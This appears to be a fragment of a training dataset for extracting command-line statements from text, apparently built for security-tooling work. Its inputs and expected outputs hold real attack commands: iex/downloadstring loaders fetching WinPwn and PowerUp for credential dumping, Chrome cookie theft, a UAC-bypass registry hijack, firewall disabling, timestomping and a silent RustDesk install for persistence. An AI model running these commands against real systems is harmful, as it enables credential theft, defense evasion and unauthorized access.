    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation mimics Zloader/Zbot's cookie theft by querying Chrome's database with the command: \nstop-process -name \"chrome\" -force -erroraction silentlycontinue\n\"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];\" | cmd /c #{sqlite3_path} \"#{cookie_db}\" | out-file -filepath \"#{output_file}\"\nThe process ensures Chrome isn't running to access the locked database file.; Malware can exploit Chrome's remote debugging feature for post-exploitation by using the following command to bypass encryption and access cookies: killall 'Google Chrome'\nsleep 1\nopen -a \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/\nsleep 1\n/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337",
    "output": "{\"command_list\": [\"stop-process -name \\\"chrome\\\" -force -erroraction silentlycontinue\\n\\\"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];\\\" | cmd /c #{sqlite3_path} \\\"#{cookie_db}\\\" | out-file -filepath \\\"#{output_file}\\\"\\n\", \"killall 'Google Chrome'\\nsleep 1\\nopen -a \\\"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\\\" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/\\nsleep 1\\n/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate started system services and save the results to a file, use the following command: net.exe start >> #{output_file}; To enumerate system services, run the following command, which checks the operating system and uses the appropriate tool: if [ \"$(uname)\" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;",
    "output": "{\"command_list\": [\"net.exe start >> #{output_file}\\n\", \"if [ \\\"$(uname)\\\" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique bypasses UAC through registry hijacking and Event Viewer, which can be executed with the command: reg.exe add hkcu\\software\\classes\\mscfile\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\ncmd.exe /c eventvwr.msc; To bypass User Account Control via Event Viewer and a Windows Registry modification, use the following PowerShell commands: New-Item \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\eventvwr.msc\"",
    "output": "{\"command_list\": [\"reg.exe add hkcu\\\\software\\\\classes\\\\mscfile\\\\shell\\\\open\\\\command /ve /d \\\"#{executable_binary}\\\" /f\\ncmd.exe /c eventvwr.msc\\n\", \"New-Item \\\"HKCU:\\\\software\\\\classes\\\\mscfile\\\\shell\\\\open\\\\command\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\mscfile\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\eventvwr.msc\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To loot local credentials using the PowerShell Kittie technique via WinPwn's function, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive; The local credentials can be looted by employing the Safetykatz technique via WinPwn, using the command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsafedump -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nobfuskittiedump -consoleoutput -noninteractive\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nsafedump -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For the current profile, you can turn off the Microsoft Defender Firewall by executing this command: netsh advfirewall set currentprofile state off. Be careful when accessing the host remotely, as cleanup may reactivate the firewall.; To disable the Microsoft Defender Firewall for the public profile, modify the registry with the following command: reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"netsh advfirewall set currentprofile state off\\n\", \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\PublicProfile\\\" /v \\\"EnableFirewall\\\" /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For timestamp manipulation similar to Rocke's Linux attacks, apply these commands which reference another file's timestamps: touch #{target_file_path}\ntouch -acmr #{reference_file_path} #{target_file_path}\n; For modifying a file's creation timestamp to appear as 1970 (a method used by Stitch RAT), execute this PowerShell command: Get-ChildItem \"#{file_path}\" | % { $_.CreationTime = \"#{target_date_time}\" }\nThe change can be verified in File Explorer by examining the file's Properties.",
    "output": "{\"command_list\": [\"touch #{target_file_path}\\ntouch -acmr #{reference_file_path} #{target_file_path}\\n\", \"Get-ChildItem \\\"#{file_path}\\\" | % { $_.CreationTime = \\\"#{target_date_time}\\\" }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary might deceive a user into installing MSP360 Connect to establish a C2 channel, which can be launched by running the following command: Start-Process #{MSP360_Connect_Path}; An attacker might deceive a user into downloading RustDesk to maintain persistent access, which can be done by running the following command: $file = Join-Path $env:USERPROFILE \"Desktop\\\\rustdesk-1.2.3-1-x86_64.exe\"\nInvoke-WebRequest  -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe\nStart-Process -FilePath $file \"/S\"",
